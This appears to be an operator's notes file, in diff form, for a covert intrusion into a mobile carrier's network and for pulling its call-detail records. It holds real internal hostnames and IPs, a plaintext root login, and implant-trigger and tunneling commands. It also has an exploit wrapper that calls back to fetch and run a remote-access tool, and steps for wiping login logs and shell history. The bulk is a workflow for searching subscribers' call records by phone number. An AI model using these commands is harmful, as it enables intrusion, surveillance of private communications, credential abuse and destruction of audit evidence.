mv /tmp/filters.inuse /tmp/filters +echo "arp reply" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "NetBeui" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters + + + + + +################################################################################ +### USUAL for your opnotes: + +pitch PITCHIMPAIR +->10.171.2.50 server-vas-i10.mobilink.net.pk SICKLESTAR (unix) +-->10.140.0.40 alien.mobilink.net.pk SICKLESTAR (unix) +--->10.211.4.1 CDRCOL1.mobilink.net.pk SICKLESTAR (unix) +-->10.140.0.7 lhedc1.mobilink.net.pk SICKLESTAR (windows) +--->10.20.20.156 cs02.mobilink.net.pk SICKLESTAR (windows) +---->10.20.20.152 fs01.mobilink.net.pk SICKLESTAR (windows) + +10.171.2.50 +----------- +# try one of the following: +# old way, may not work on new machines (and vary the -s port with: 8181 8204 8081 8104): + +-irtun 10.171.2.50 8104 -uec -F pix -Y -sp -G 202.163.69.185 + +# else try this (no mods needed to tn.spayed) and vary the -s port with: 8181 8204 8081 8104: + +-irtun 202.163.69.185 RANDOM -uec -F pix -Y -s 8204 + + + +10.140.0.40 +----------- +-irtun 10.140.0.40 28374 -ueY + +10.211.4.1 +----------- +exploited with YS; cleaned up; +pulled CDRs w/ CURSEHYDRANT +################################################################################ + + +#### 1. Connect to PITCH + +POSSIBLE ACCESS methods: + + DD to server-vas10 + redirect for windows portion (if any) + irtun to alien via DD + whack HP (CDRCOL1 or 2) + +### OPTION 2: + DD to server-vas10 + whack HP (CG1) via server-vas + whack HP (CDRCOL1 or 2) via CG1 + +### OPTION 3: + DD to server-vas + redirect to windows (fs1) + whack HP via server-vas or other Solaris + + +### USE IF problem with PC callback: + set up tunnels on PIX (use opscript.benignflutter on zip disk and bf_tunnels.5oct for reference) + connect to 10.140.0.7 lhrdc1 (windows 24-hr PC) + redirect IN to any Solaris (alien, server-vas, or magnum) + whack HP + +### OLD: if no problem with PC callback & McAfee: + connect to blade1 + redirect IN to alien + whack HP + + + + + + + + +#### 2. Connect to Solaris target behind pix, else tunnel from PITCH to WINDOWS target if possible: +#firewall will allow these ports out: 8181 8204 8081 8104 + +-irtun 10.171.2.50 8104 -uec -F pix -Y -sp -G 202.163.69.185 + + +#### else try this (no mods needed to tn.spayed) and vary the -s port with: 8181 8204 8081 8104: + +-irtun 202.163.69.185 RANDOM -uec -F pix -Y -s 8204 + + + + + + + + +#### 3. Is there a WINDOWS portion to the OP? If so continue here, if not, go to STEP 4. + +#### 3a. Connect from server-vas10 (10.171.2.50) to spots if necessary (10.175.20.10), then redirect to windows: + +-irtun 10.175.20.10 RANDOM -ue + + + + + + + +#### 3b. Then set up tunnels for the windows portion: +-tunnel +l 1188 10.140.0.7 +#l 1188 10.150.20.13 +#l 1630 10.150.20.13 + + 10.140.0.7 lhrdc1 + # old: + 10.150.20.13 fs1 + 202.163.69.183 blade1 internal IP 10.140.0.9 (newer access) + 202.165.247.89 blade internal IP 10.140.0.9 + + + + + + + +#### 3a. Old method to get to alien: +#### 3a. Windows redirects INCISION trigger to alien (10.140.0.40) and defaults to callback mode +#### however, you can start nopen in listening mode once there and -exit the callbacks + + + ################## SENDING TRIGGER THRU WINDOWS (2000 or XP) BOX ########################## + ##### NT4.0 doesn't allow the use of raw sockets, which is needed to send the IN trigger ## +mx +:%s/LOCAL_WINDOWS_IP/LOCAL_WINDOWS_IP/g +:%s/LOCAL_UNIX_IP/LOCAL_UNIX_IP/g +:%s/UNIX_INCISION_TRIGGER_PORT/UNIX_INCISION_TRIGGER_PORT/g +:%s/INCISION_CALLBACK_PORT/INCISION_CALLBACK_PORT/g +:%s/NOPEN_CALLBACK_PORT/NOPEN_CALLBACK_PORT/g + +:%s/WIN_TARG_INTERNAL_IP/10.140.0.9/g +:%s/TARGET_IP/10.140.0.40/g + +`x + +## Usage: script unixredirect.eps LOCAL-WINDOWS-IP LOCAL-UNIX-IP UNIX-INCISION-TRIGGER-PORT INCISION-CALLBACK-PORT NOPEN-CALLBACK-PORT + +script unixredirect.eps LOCAL_WINDOWS_IP LOCAL_UNIX_IP UNIX_INCISION_TRIGGER_PORT INCISION_CALLBACK_PORT NOPEN_CALLBACK_PORT + + ### or run the following by hand + + + ### On Windows box ##################### + + # Note: can use 'background' instead of 'monitor' in the windows commands + + # This sends the trigger: + # monitor packetredirect -packettype udp -listenport LOCAL-PORT -bind LOCAL-WIN-IP + # Ex. - monitor packetredirect -packettype tcp -listenport 32654 -bind DOOBIEIP + + monitor packetredirect -packettype udp -listenport LOCAL_PORT -bind LOCAL_WIN_IP + + + + # This listens for the ish callback + # monitor redirect -tcp -implantlisten ISH-CALLBACK-PORT -target LOCAL-LINUX-IP ISH-CALLBACK-PORT + # Ex. - monitor redirect -tcp -implantlisten 28345 -target FIREBALL_IP 28345 + + monitor redirect -tcp -implantlisten ISH_CALLBACK_PORT -target LOCAL_LINUX_IP ISH_CALLBACK_PORT + + + + # For nopen connection: + # monitor redirect -tcp -lplisten RAT-PORT + # Ex. - monitor redirect -tcp -lplisten 47108 + + monitor redirect -tcp -lplisten RAT_PORT -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + + + # For additional nopen connections, increment the lplisten port, but keep the same target nopen port: + # monitor redirect -tcp -lplisten RAT-PORT+1 -target TARGET-IP RAT-PORT -bind LOCAL-WIN-IP + # Ex. - monitor redirect -tcp -lplisten 47109 -target 10.1.1.3 47108 -bind 10.1.1.2 + + monitor redirect -tcp -lplisten RAT_PORT+1 -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + + + + ### On Linux box: ##################### + + + # Once the first three windows commands are set up, you can send the trigger: + # ourtn -W LOCAL-WIN-IP:LOCAL-PORT -o RAT-PORT -p ISH-CALLBACK-PORT -i WIN-TARG-IP -ue TARGET-IP + # Ex: ourtn -W DOOBIE_IP:32654 -o 47108 -p 28345 -i 10.1.1.4 -ue 10.1.1.3 + + #ourtn -W LOCAL_WIN_IP:LOCAL_PORT -o RAT_PORT -p ISH_CALLBACK_PORT -i WIN_TARG_IP -ue TARGET_IP + #ourtn -W 192.168.254.253:31413 -O 41611 -C 202.154.225.27 -p 37541 -i 202.154.225.27 -ue 10.140.0.40 + + #ourtn -ueW 192.168.254.253:31413 -i 202.154.225.27 -C 202.154.225.27 -p 37541 -O 41611 10.140.0.40 + TRAVOLTA=1 ourtn -ueW 192.168.254.22:8942 -i 10.140.0.9 -C 10.140.0.9 -p 18855 -O 7549 10.140.0.40 + +### Use the TRAVOLTA option to keep nopen from dying in 5 hours, only if you think the op will be extended +### If alien has issues with an nfs mount point, so use the "-Q" option to ourtn and DO NOT run the following +### -lt /, df -k, otherwise, you'll tie up your window and will need to kill the process; +### it's better NOT to run nopen built-ins on alien so that you can kill something if it hangs + +incision trigger = UNIX_INCISION_TRIGGER_PORT +incision callback = INCISION_CALLBACK_PORT +nopen callback = NOPEN_CALLBACK_PORT + + +#ourtn -ueW 192.168.254.142:36541 -i 10.140.0.9 -C 10.140.0.9 -p 34789 -O 45665 10.140.0.40 +#ourtn -ueW LOCAL-WIN-IP:LOCAL-PORT -i WIN-TARG-IP -C WIN-TARG-INTERNAL-IP -p ISH-CALLBACK-PORT -O RAT-PORT TARGET-IP +ourtn -ueW LOCAL_WINDOWS_IP:UNIX_INCISION_TRIGGER_PORT -i WIN_TARG_INTERNAL_IP -C WIN_TARG_INTERNAL_IP -p INCISION_CALLBACK_PORT -O NOPEN_CALLBACK_PORT TARGET_IP + +noclient -l NOPEN_CALLBACK_PORT +#noclient -l 45665 + + + # Call forward to nopen works to alien, start a -listen PORT to call forward + # Set up redirectors on windows side to allow the following connections: + +mx +:%s/NOPEN_CALLFORWARD_PORT/NOPEN_CALLFORWARD_PORT/g +'x + + +# on windows side: +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+1 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+2 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP + + +-listen NOPEN_CALLFORWARD_PORT +noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+1 +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+2 + + + + #### To kill one server first use it to start a new one (new one won't burn) + D=-l23477 PATH=. sendmail + -burnBURN + + + # Connect to nopen; suggest using the port override option (-o) above for simplicity + # For additional windows, you and the windows person must increment the redirected port + # Ex. - noclient 10.1.1.2:47108 + # Ex. - noclient 10.1.1.2:47109 + + #noclient 10.1.1.2:RAT_PORT+1 + + + + + + + +#### 4. Connect to alien 10.140.0.40 + +-irtun 10.140.0.40 RANDOM -ueY + + + + + + + + +#### 5. whack HP CDRCOL1 (10.211.4.1) or CDRCOL2 (10.211.4.2) +#### with YS or telnet masquerade +#### you should find out which target is currently storing CDRs +#### and which exploit is acceptable to use + +### +### NEW -- see TELNET section below if telnet masqerade is needed +### + +######################################################### +### YELLOW +######################################################### + +mx +:%s/HP_IP/HP_IP/g +:%s/REDIR_IP/REDIR_IP/g +:%s/XSERVER_PORT/XSERVER_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +'x + +### Netcat Window: +# packrat +cp /current/up/morerats/noserver-3.0.3.1-hppa2.0w.hp.hpux-11.00 /current/up/noserver +packrat -n /current/bin/nc.YS nscd NETCAT_PORT + +-tunnel +u 177 HP_IP +r NETCAT_PORT +r XSERVER_PORT + +### Locally: +# check wrap-hpux.sh; _piping_ to uudecode doesn't work as well as writing to a file then uudecoding the file +# should look like this: +#VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`" + +cat wrap-hpux.sh + +### Local scripted window #1: +### upload nopen as "nscd" in /tmp/.scsi +./wrap-hpux.sh -h + +#./wrap-hpux.sh -l REDIR-IP -r nscd -p NETCAT-PORT -x XSERVER-PORT -d /tmp/.scsi +#./wrap-hpux.sh -l 10.140.0.40 -r nscd -p 38442 -x 40193 -d /tmp/.scsi +./wrap-hpux.sh -l REDIR_IP -r nscd -p NETCAT_PORT -x XSERVER_PORT -d /tmp/.scsi + + +### Local scripted window #2: +./xc -h +#./xc -s REDIR-IP -x REDIR-IP -y XSERVER-PORT 127.0.0.1 +#./xc -s 10.140.0.40 -x 10.140.0.40 -y 40193 127.0.0.1 +./xc -s REDIR_IP -x REDIR_IP -y XSERVER_PORT 127.0.0.1 + +### Netcat Window: +# control-c the netcat window before the nstun to target + + +### Nopen alien window: +# connect to HP from alien +-nstun HP_IP + + +### Cleanup YS remains + +#### Here are some samples +## Killing the processes +ps -ef + +ps -ef | egrep "dtlogin|xrdb|display" + +## Don't kill legitimate dtlogins - check the timestamps; yours will be current!!!! +kill -9 DTLOGINPID [DTLOGINCHILDPID...] + +ps -ef |grep #timestamp + +## Remnants in /var/dt, samples +-lt /var/dt +rm /var/dt/dtlogin_* +-lt /var/dt/Xerrors +-get /var/dt/Xerrors +-tail /var/dt/Xerrors +cat /dev/null > /var/dt/Xerrors +touch -r /var/dt/Xpid /var/dt/Xerrors +touch -r /var/dt/Xpid /var/dt + +## toast /var/adm & /etc (on HP) +-put /current/up/toast t +./t -u /var/adm/wtmp | tail -20 +./t -u /var/adm/wtmp DEVICE TIME + +./t -u /etc/utmp +./t -x /etc/utmpx | tail -20 + + +-rm t + +-rm nscd.uu + + + + + +######################################################### +### TELNET MASQ +######################################################### + +### alien +-tunnel +l 2323 10.211.4.1 23 + +### local window +cd /current/up +packrat nscd +control c +gedit nscd.Z.uu & + +### local scripted window #### WARNING - You'll be logged in /root/.sh_history regardless!!! +telnet 127.0.0.1 2323 +root +ACD*1 + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +uudecode; ls -la +uncompress nscd.Z; ls -la +chmod 700 nscd +PATH=. nscd +exit + + +-nstun 10.211.4.1 + +### Cleanup from telnet masq +### run toast & pull back /root/.sh_history, edit our lines, then put back between root activity + +-vget /root/.sh_history + +###locally +cp /current/down/CDRCOL1.10.211.4.1/root/.sh_history /current/up/sh_history +cd /current/up +vi sh_history + +-put /current/up/sh_history s +w +-lt /root +cat s > /root/.sh_history +w +-lt /root +-vget /root/.sh_history +-rm s + +### toast /var/adm and /etc +-lt /var/adm /etc +-put /current/up/toast t + +./t -u /var/adm/wtmp +./t -u /etc/utmp +./t -x /etc/utmpx + +-rm t + + + + + + +########################################################################### +### WEARCUP +### Upload and run cup (as snmpdm) to clean up the working directory on HPs +### At the end of the op, use -exit (DON'T BURN, YOU MUST USE -exit) + +-gs wearcup -h +-gs wearcup -r snmpdm -w 4h +# follow instructions (sleep time is in seconds) +# 10800 = 3 hours +# 7200 = 2 hours +# 120 = 2 minutes +ps -ef | grep sleep + + +#### to run cup by hand, edit /current/up/cup.DEPRECATED.SEE.README.cup.NOPEN +#### to reflect the following: + + #!/bin/sh + DIR=/tmp/.scsi + cd / + rm $DIR/cup + trap : TERM + exec >&- 2>&- + sleep 60 + /usr/sbin/fuser -k $DIR/* + rm -rf $DIR + + -put /current/up/cup.DEPRECATED.SEE.README.cup.NOPEN cup + + -cat cup + + ./cup & + + ps -ef|grep sleep + +#### if you want to execute it immediately then kill the sleep +kill -9 +-exit ##### DO NOT BURN!!!!! + + + + +########################################################### +# HP Kernel Checks +########################################################### + +# optional +# run these to check target for kernel info for implants: + +/usr/bin/getconf SC_CPU_VERSION +/usr/bin/getconf SC_KERNEL_BITS +kmadmin -s + +swapinfo -t + +############################################################################### +############### PARSING ###################################################### +############################################################################### + +####### Prepare files containing numbers to search for: + +# argfiles +mkdir /current/down/argfiles +cd /current/down/argfiles +tar xvf /dev/fd0 + # or +mount /mnt/floppy +ls -l /mnt/floppy +cp /mnt/floppy/arg* /current/down/argfiles +cd /current/down/argfiles +ls -altr + +### make sure the files are ASCII and contain NO EMPTY LINES!! +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no floppy is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# if searching for LACs and cell id's, use the format in the documentation: +# ex. - 410 01 95 18374 +# if searching for phone numbers, use the normal format: +# ex. - 4837506 + + +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### about two weeks worth are kept in this directory: +ls /share/a1338/ne_q3ic/nb/convert/output | wc -l +ls /share/a1338/ne_q3ic/nb/convert/output | head -10 +ls /share/a1338/ne_q3ic/nb/convert/output | tail -10 +-ls /share/a1338/ne_q3ic/nb/convert/output/*dF* + +### this is where they are backed up - this could be huge +ls /share/a1338/ne_q3ic/nb/convert/backup | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad1 | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad/sulaman | wc -l +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad/temp | wc -l +#-ls /share/a1338/ne_q3ic/nb/convert +#-ls /share/a1338/ne_q3ic/nb/convert/backup/05041*dF* + +### check out the history file to see if they've been removed +-lt /root +-vget /root/.sh_history + + + +################################################################################ +########################## CURSEHYDRANT 4.2.1 ############################### +################################################################################ +### NEW SYNTAX (CH4.2.1) can use encryption, and automaticly deletes argfile (to keep it, add -r flag) + + +### Name the output file with the date of today's op (cdrhits..txt): + +mx +:%s/DDMonYY/DDMonYY/g +'x + +#### Using encryption: + +### Once the argfiles have been verified to be ASCII with no empty lines, encrypt them + + +### create a 32 character hex RC6 key to use for the encryption and save it: +### Trick - use md5sum on any file to create a "random" 32-bit hex number +# ex: 1234567890abcdef1234567890abcdef + +md5sum /current/etc/opscript.txt + +mx +:%s/CRYPTKEY/CRYPTKEY/g +'x + +echo CRYPTKEY > /current/down/cryptkey.DDMonYY + +### Now, encrypt the ascii list: +which /current/bin/cryptTool.v1.0.Linux2.4.18-14.targetdl +#cp /mnt/zip/cryptTool.v1.0.Linux2.4.18-14.targetdl /current/bin + +/current/bin/cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +/current/bin/cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: + +for i in argfile* ; do /current/bin/cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l + + +### Tips for running the CURSEHYDRANT 4.2.1 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption) + ### By default, the new CH expects a cryptokey: + ### to run in the clear, take out the -k KEY, add -w, replace -P with -p + ### The phone list is deleted automatically now + + +### Suggested -z options: + + ### this looks in subdirs, so use caution in backup dir (can be good AND bad): + ### Also circumvents "parameter list too long" problem with wildcards with 'ls' + -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print" + + ### works, but only for smaller ranges + -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*" + + +######## Upload the parser (CURSEHYDRANT) and called it lvmkd +# put up the parser tool +-put /current/up/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + + # or + +-put /mnt/zip/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + + + +##### Upload the encrypted phone list as nfskd, then run the parser: + + +##### 1 + +#-put /current/down/argfiles/argfile1.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[3-4]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc1 +-beep 15 + +#-put /current/down/argfiles/argfile1.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc1.more +-beep 15 + + +##### 2 + + +#-put /current/down/argfiles/argfile2.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[1-2]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc2 +-beep 15 + +#-put /current/down/argfiles/argfile2.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc2.more +-beep 15 + + + +##### 3 + + +#-put /current/down/argfiles/argfile3.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[0-6]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc3 +-beep 15 + + +#-put /current/down/argfiles/argfile3.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[0-6]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc3.more +-beep 15 + + + +##### 4 + + +#-put /current/down/argfiles/argfile4.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[0-6]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc4 +-beep 15 + + +#-put /current/down/argfiles/argfile4.enc nfskd +#export ENV_ARGS='-k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06051[0-6]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.CDRCOL1.DDMonYY.enc4.more +-beep 15 + + + + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + +ls -latr cdr*enc* + +# to decrypt individually: + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.CDRCOL1.DDMonYY.enc1 -o cdrhits.CDRCOL1.DDMonYY.txt1 -k CRYPTKEY -d -c + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.CDRCOL1.DDMonYY.enc2 -o cdrhits.CDRCOL1.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) + +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done + +ls -latr cdr*txt* + + + + +###### +###### to run parser in the clear (unencrypted): +###### + +-put /current/down/argfiles/argfile1.txt nfskd +#export ENV_ARGS='-w -z "find /share/a1338/ne_q3ic/nb/convert/output -name '060501*dF*' -print" -p ./nfskd'; ./lvmkd >T:/current/down/cdrhits.test +-beep 15 + + + + +###### +###### to completely parse a range of files (no encryption & no particular number to search): +###### +export ENV_ARGS='-o -w -d -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"; ./lvmkd >T:/current/down/cdr.morenumbers + + + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +export ENV_ARGS='-x -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/surveyIMEI.DDMonYY.enc1 + + + + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +export ENV_ARGS='-y -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/surveyMSC.DDMonYY.enc1 + + + + + +### locally, decrypt: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i surveyIMEI.DDMonYY.enc1 -o surveyIMEI.DDMonYY.txt1 -k CRYPTKEY -d -c +# or +cryptTool.v1.0.Linux2.4.18-14.targetdl -i surveyMSC.DDMonYY.enc1 -o surveyMSC.DDMonYY.txt1 -k CRYPTKEY -d -c + + + + + +###### + + +##### +##### clean up +##### +-rm lvmkd +w +ps -ef | sort +-lt / + + + + +##### +##### execute CUP to have it clean up nopen (see WEARCUP section) +##### +ps -ef |grep sleep +kill -9 + + + + +################################################################################ +############################### ORLEANSSTRIDE ############################### +################################################################################ + + +## run this on magnum: + +mkdir /tmp/.scsi +-cd /tmp/.scsi + +mx +:%s/DDMonYY/DDMonYY/g +'x + +-put /mnt/zip/ORLEANSSTRIDE/orleansstride.v1.0.SunOS5.8.targetsl more + +### make sure the numbers are SORTED (necessary for ORLEANSSTRIDE): +vi /current/down/argfiles/argfile1.txt +-put /current/down/argfiles/argfile1.txt awk + +### directories to try: +/archive/cdrc +/archive/cdrc/input/DONE/20050901*mob + + +## run it (the argfile is automaticly deleted by the parser each time it runs): +./more -w -o -p ./awk -z "find /archive/cdrc/input/DONE/20050901*mob -name '2005*mob' -print" >>T:/current/down/cdrhits.magnum.DDMonYY.txt +# other syntax that should work: +./more -w -o -p ./awk -z "ls -1 /archive/cdrc/input/DONE/20050901*mob" >>T:/current/down/cdrhits.magnum.DDMonYY.txt + + + +-put /current/down/argfiles/argfile2.txt awk +./more -w -o -p ./awk -z "find /archive/cdrc -name '2005*mob' -print" >>T:/current/down/cdrhits.magnum.DDMonYY.txt + + +-rm more awk +-cd /tmp +-rm .scsi + + + + + + +#### To use encryption: + + +####### Locally: +### create an ascii list of numbers to search for and make sure it's sorted: +vi argfile1 + +### create a 32 character hex RC6 key to use for the encryption and save it: +# ex: 12345678123456781234567812345678 +md5sum + +echo CRYPTKEY > /current/down/cryptkey.DDMonYY + +### Now, encrypt the ascii list: + +/current/up/cryptTool.v1.0.Linux2.4.18-14.targetdl -i -o -k <32charkey> -b + +file + +####### On target: +### upload ORLEANSSTRIDE to the target + +-put /current/up/orleansstride.v1.0.SunOS5.8.targetsl sendmail + +### upload encrypted argfile: + +-put /current/down/ARGFILES/ bd + +### run the parser: + +## This method not really prefered since key is in commandline +./sendmail -o -k <32charkey> -P bd -z "find . -name '2005*' -print" -r >T:/current/down/cdrhits.mob.enc.DDMonYY + +### preferred method if using encryption (using 'find' in this method gave errors): + +export ENV_ARGS='-o -k CRYPTKEY -z "ls -1rt 2005*mob" -P ./bd'; ./sendmail >T:/current/down/cdrhits.mob.enc.DDMonYY + + +### Locally, decrypt the cdrhits file + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/cdrhits.mob.enc.DDMonYY -o /current/down/cdrhits.mob.decr.DDMonYY -k <32charkey> -d -c + +cat /current/down/cdrhits.mob.decr.DDMonYY + + +############################################################################## +#### LEGACY commands + + + /mnt/zip/cdrprint -a /current/down/cdr.2Jun05.uniques.txt -f /current/down/cdrhits.chained.DDMonYY.txt > /current/down/cdrpretty3.DDMonYY.txt + + + + + perl -ne 'print "$1\n" if (m/Party \d\:\s+\d*(\d{10})/)' /current/down/cdrpretty.2Jun05.combined.txt | sort | uniq > /current/down/cdr.2Jun05.uniques.txt + + + + :%s/^92//g + :%s/^111$//g + :%s/^9//g + :%s/^0+//g + :%s/^0//g + :%s/^.*00042$//g + :%s/^882//g + :%s/^.*060708//g + :%s/^.*0005150//g + :%s/^.*5031999//g + + + + perl -ne 'print "$1\n" if (m/Party \d\:\s+\d*(\d{10})/)' cdrpretty.combined | sort | uniq + + -put /current/down/cdr.uniques nfskd + ./lvmkd -p ./nfskd -z "ls -1t /share/a1338/ne_q3ic/nb/convert/output/050501*dF*" >>T:/current/down/cdrhits.chain + -rm nfskd + + + +################################################################################ + + + #### 6. Put up the CDR parser tool + + + + ### if this is a short op, skip to Section 8 now. + + + + #### 6.a For extended duration ops, Create nifty scripts in /current/bin that help with notification: + + ### create a 'dots' script in /current/bin + #[12:26:17 FLIP /current/down]# cat ../bin/dots + + #!/bin/sh + exec 1>&2 + I=5 + [ "$1" ] && I=$1 + for (( i=$I ; i >= 0 ; i-- )) ; do + echo -en " $i $2 $3 $4 $5 $6 \r" + sleep 1 + done + + + + + ### create a 'beeps' script in /current/bin + #[14:06:35 FLIP /current/down]# cat ../bin/beeps + + #!/bin/sh + I=5 + [ "$1" ] && [ $I -gt 0 ] && I=$1 + for ((i=1 ; i<=$I ; i++)) ; do + echo -en "\a" + usleep 200000 + echo -en "\a" + usleep 200000 + usleep 300000 + done + + + #### Old way: + #### Run this in a small local window: Alarm for restarting listeners every 4.5 hours: + #### dots 16200 until restart listeners ; beeps 88888 + + ### 20040807: 6am shift + ### CHANGES: + # added /current/bin/dots instead of sleep (did dots at first, now a countdown). + # changed gs.cdrloop to -put cdp and -rm cdp before and after the rest is done. + # changed -beep to -beep 4. + + + ### in a LOCAL window, run this (during extended ops only). This will beep when you get a hit: + + while [ 1 ] ; do clear ; ls -alrt cdrpretty*|tail -5 ; [ -s cdrpretty ] && break ; dots 8; done ; while [ 1 ] ; do clear ; more cdrpretty |cat ; echo -en "\a" ; sleep 2 ; done + sleep 90m ; for ((i=1;i<300;i++)) ; do echo -en "\a" ; usleep 200000 ; done + + + + + + ### Do this section for extended ops. + #### 7. Run the cdrloop script every x mins (using 5 here) + #### NOTE: Make sure the date -d "x mins ago" in /current/etc/gs.cdrloop + #### matches the number of mins used for holdwindow + #### NOTE2: Just run "-gs cdrloop PHONENUM" to parse once without waiting + #### NOTE3: PHONENUM is just the last 7 digits of the number they give you; verify the list is accurate + + # -holdwindow 5 -gs cdrloop PHONENUM [PHONENUM...] + # -holdwindow 5 -gs cdrloop 4749693 2729811 4618511 2293473 5503501 5989018 5998901 5529352 9152367 5942379 4649643 4749694 6330687 4101748 2118613 4674902 4132633 4120784 6953511 9499141 4234749 5061901 474964 + -gs cdrloop 2529327 2316062 5925521 3825903 5763725 9113709 + -holdwindow 5 -gs cdrloop 2529327 2316062 5925521 3825903 5763725 9113709 + + + + ### IF op goes past 4 or 5 hours, start a new NOPEN on the HP box and reconnect to it: + + PATH=. nscd + -nstun 10.211.4.2:32755 + + # or + -nstun 10.211.4.2:32754 + + + + ##### OLD WAY (when we had a memory leak) don't need this - we hope) + ##### PASTE BEGIN HERE FOR WINDOW ONE + + #-lsh dots 285 one of three + #-gs cdrloop 4749693 2729811 4618511 2293473 5503501 5989018 5998901 5529352 9152367 5942379 4649643 4749694 6330687 4101748 2118613 4674902 4132633 4120784 6953511 9499141 4234749 5061901 4749643 + #-beep + + #-lsh dots 300 two of three + #-gs cdrloop 4749693 2729811 4618511 2293473 5503501 5989018 5998901 5529352 9152367 5942379 4649643 4749694 6330687 4101748 2118613 4674902 4132633 4120784 6953511 9499141 4234749 5061901 4749643 + #-beep + + #-lsh dots 300 two of three + #-gs cdrloop 4749693 2729811 4618511 2293473 5503501 5989018 5998901 5529352 9152367 5942379 4649643 4749694 6330687 4101748 